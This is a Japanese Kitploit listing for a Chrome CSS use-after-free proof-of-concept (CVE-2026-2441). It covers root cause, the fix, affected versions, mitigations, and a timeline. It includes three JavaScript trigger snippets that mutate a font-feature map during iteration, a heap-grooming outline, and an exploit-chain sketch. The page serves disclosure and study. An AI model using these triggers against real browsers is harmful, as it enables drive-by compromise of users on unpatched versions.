Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2441-PoC — CVE-2026-2441の概念実証。Chrome CSSのuse-after-free脆弱性により、サンドボックス化されたレンダラーのRCEに至ります。3つのトリガー手法、ヒープグルーミング、詳細な分析を含みます。 | Kitploit
ツール/GitHubGitHub/d3b0j33t/cve-2026-2441-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubd3b0j33t/cve-2026-2441-poc

CVE-2026-2441-PoC

CVE-2026-2441の概念実証。Chrome CSSのuse-after-free脆弱性により、サンドボックス化されたレンダラーのRCEに至ります。3つのトリガー手法、ヒープグルーミング、詳細な分析を含みます。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free

CVSS 8.8(高) | 実際に悪用が確認済み | レンダラーRCE(サンドボックス内)

Google ChromeのBlink CSSエンジンにおけるuse-after-free脆弱性で、リモートの攻撃者が細工したHTMLページを介してブラウザのサンドボックス内で任意のコードを実行できる可能性があります。

脆弱性の詳細

フィールド値
CVECVE-2026-2441
CVSS8.8(高)
タイプUse-After-Free(CWE-416)
コンポーネントBlink CSS — CSSFontFeatureValuesMap
ソースファイルthird_party/blink/renderer/core/css/css_font_feature_values_map.cc
修正コミット63f3cb4864c64c677cd60c76c8cb49d37d08319c
報告者Shaheen Fazim(2026-02-11)
パッチ日付2026-02-13
実環境での悪用あり — Googleが活発な悪用を確認

影響を受けるバージョン

プラットフォーム脆弱なバージョン修正済みバージョン
Windows / macOS(Stable)< 145.0.7632.75>= 145.0.7632.75
Linux(Stable)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS(Extended Stable)< 144.0.7559.177>= 144.0.7559.177
Chromiumベースのブラウザ(Edge、Brave、Opera、Vivaldi)ベンダーのアドバイザリを確認ベンダーにより異なる

根本原因

FontFeatureValuesMapIterationSourceは、内部のFontFeatureAliases HashMapへの生ポインタ(const FontFeatureAliases* aliases_)を保持していました。イテレーション中にset()またはdelete()でマップが変更されると、HashMapは再ハッシュされ、新しいストレージが割り当てられ、古いストレージが解放されます。生ポインタはダングリングとなり、次のFetchNextItem()呼び出しで解放済みメモリが読み取られます。

脆弱なコードパス

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = 内部HashMapへの生ポインタ
  → iterator_ = aliases_->begin()

FetchNextItem()
  → iterator_->key を読み取る(aliases_経由)

イテレーションの合間に map.set() / map.delete() が呼び出された場合:
  → HashMapが再ハッシュ(新規割り当て、旧領域は解放)
  → aliases_ → ダングリングポインタ
  → iterator_ → 無効化
  → 次の FetchNextItem() → USE-AFTER-FREE

修正

root@kitploit:~
- const FontFeatureAliases* aliases_;   // 生ポインタ → 再ハッシュ後にダングリング
+ const FontFeatureAliases aliases_;    // ディープコピー → 再ハッシュの影響を受けない

この修正は、生ポインタをHashMapのディープコピーに置き換えます。元のマップが再ハッシュされても、イテレータは自身のコピー上で動作するため、ダングリングポインタが防止されます。

概念実証(PoC)

使用方法

  1. 脆弱なChromeバージョン(< 145.0.7632.75)でpoc.htmlを開く
  2. ページは3つの異なる方法でUAFのトリガーを試みます

期待される結果

Chromeバージョン期待される動作
< 145.0.7632.75(未パッチ)レンダラークラッシュ — STATUS_ACCESS_VIOLATION(Windows)またはSIGSEGV(Linux/macOS)。Chromeに「このページを開けません」というエラーが表示されます。
>= 145.0.7632.75(パッチ適用済み)クラッシュなし — PoCは最後まで実行され、すべてのエントリが正常に読み取られます。

スクリーンショット(未パッチのChrome — クラッシュ)

脆弱なChromeバージョンで開くと、レンダラープロセスがSTATUS_ACCESS_VIOLATIONでクラッシュします:

root@kitploit:~
このページを開けません

エラーコード: STATUS_ACCESS_VIOLATION

これによりUAFがトリガーされたことが確認されます — ダングリングポインタが解放済み/未マップのメモリにアクセスし、レンダラープロセスが終了します。

PoCの仕組み

PoCは3つの独立した方法でUAFをトリガーします:

方法1: entries()イテレータ + 変更ループ

root@kitploit:~
const iterator = map.entries();
while (step < 20) {
    iterator.next();          // (現在ダングリングしている)ポインタ経由で読み取り
    map.delete(key);          // 再ハッシュをトリガー
    for (i = 0; i < 512; i++)
        map.set("spray_" + i, [i]);  // 再割り当てを強制
}

方法2: for...of + 並行変更

root@kitploit:~
for (const [k, v] of map) {
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("alt_" + i, [i]);
}

方法3: requestAnimationFrame + レイアウト再計算

root@kitploit:~
function rafTrigger() {
    document.body.offsetWidth;   // レイアウト再計算を強制
    const result = iterator.next();
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("raf_" + i, [i]);
    requestAnimationFrame(rafTrigger);
}

各方法にはヒープグルーミングも含まれています — 同じサイズの@font-feature-valuesルールを50個割り当てて、潜在的な悪用のためにヒープレイアウトを予測可能にします。

影響

直接的(サンドボックス範囲内)

  • 任意のコード実行 — レンダラープロセスサンドボックス内
  • 情報漏洩 — V8ヒープポインタの漏洩(ASLR回避)、レンダラーメモリ内容の読み取り
  • 認証情報の窃取 — document.cookie、localStorage、sessionStorage、フォーム入力値の読み取り
  • セッションハイジャック — セッショントークンの窃取、fetch() / WebSocket / sendBeacon()による外部送信
  • DOM操作 — フィッシングフォームの挿入、ページコンテンツの改変
  • キーロギング — addEventListener('keydown')によるすべてのキーストロークの取得

連鎖(サンドボックスエスケープと組み合わせた場合)

別のサンドボックスエスケープ脆弱性と組み合わせると:

root@kitploit:~
レンダラーRCE(CVE-2026-2441)
    → Mojo IPCエクスプロイト → ブラウザプロセスRCE
        → カーネルエクスプロイト → システム全体の侵害
            → マルウェア / ランサムウェア / スパイウェアのインストール
            → ファイルシステムアクセス、横展開、永続化

同様のブラウザUAFを使用した実世界のエクスプロイトチェーン:

  • NSO Pegasus — WebKit UAF + サンドボックスエスケープ + カーネルエクスプロイト
  • Intellexa Predator — Chrome UAF + Androidカーネルエクスプロイト
  • APT-28(Fancy Bear) — Chrome 0-day + Windows LPEチェーン

攻撃ベクトル

この脆弱性はドライブバイダウンロードで悪用可能です — 悪意のあるページにアクセスする以外のユーザー操作は不要です:

  • マルバタイジング — 正規の広告ネットワークを通じて配信される悪意のある広告
  • ウォーターホール — 標的が頻繁に訪れるサイトを侵害
  • スピアフィッシング — メールやメッセージングで細工されたリンクを送信

緩和策

  1. Chromeを更新 — Windows/macOSでは>= 145.0.7632.75、Linuxでは>= 144.0.7559.75
  2. Chromiumベースのブラウザを更新(Edge、Brave、Opera、Vivaldi)— ベンダーのパッチが利用可能になった時点で
  3. サイト分離が有効であることを確認(chrome://flags/#site-isolation-trial-opt-out)
  4. エンドポイントを監視 — 修正済みビルドより古いChromeバージョンを検出

タイムライン

日付イベント
2026-02-11Shaheen Fazimによって脆弱性が報告される
2026-02-13GoogleがChrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux)をリリース
2026-02-13Googleが実環境での悪用を認める
2026-02-16VivaldiとOperaが修正をリリース

参考情報

  • Google Chrome Releases Blog
  • NVD — CVE-2026-2441
  • The Hacker News — Chrome Zero-Day Under Active Attack
  • Chromium Issue Tracker(制限付き)

サポート

この研究が役に立ったと思われた場合は、コーヒーを一杯ごちそうしていただけると幸いです:

Buy Me A Coffee

免責事項

この概念実証は、教育目的および許可されたセキュリティ研究目的のみで提供されています。明示的な許可なくシステムに対してこのPoCを使用することは違法かつ非倫理的です。著者はいかなる誤用についても責任を負いません。

ライセンス

MIT

ツールをダウンロード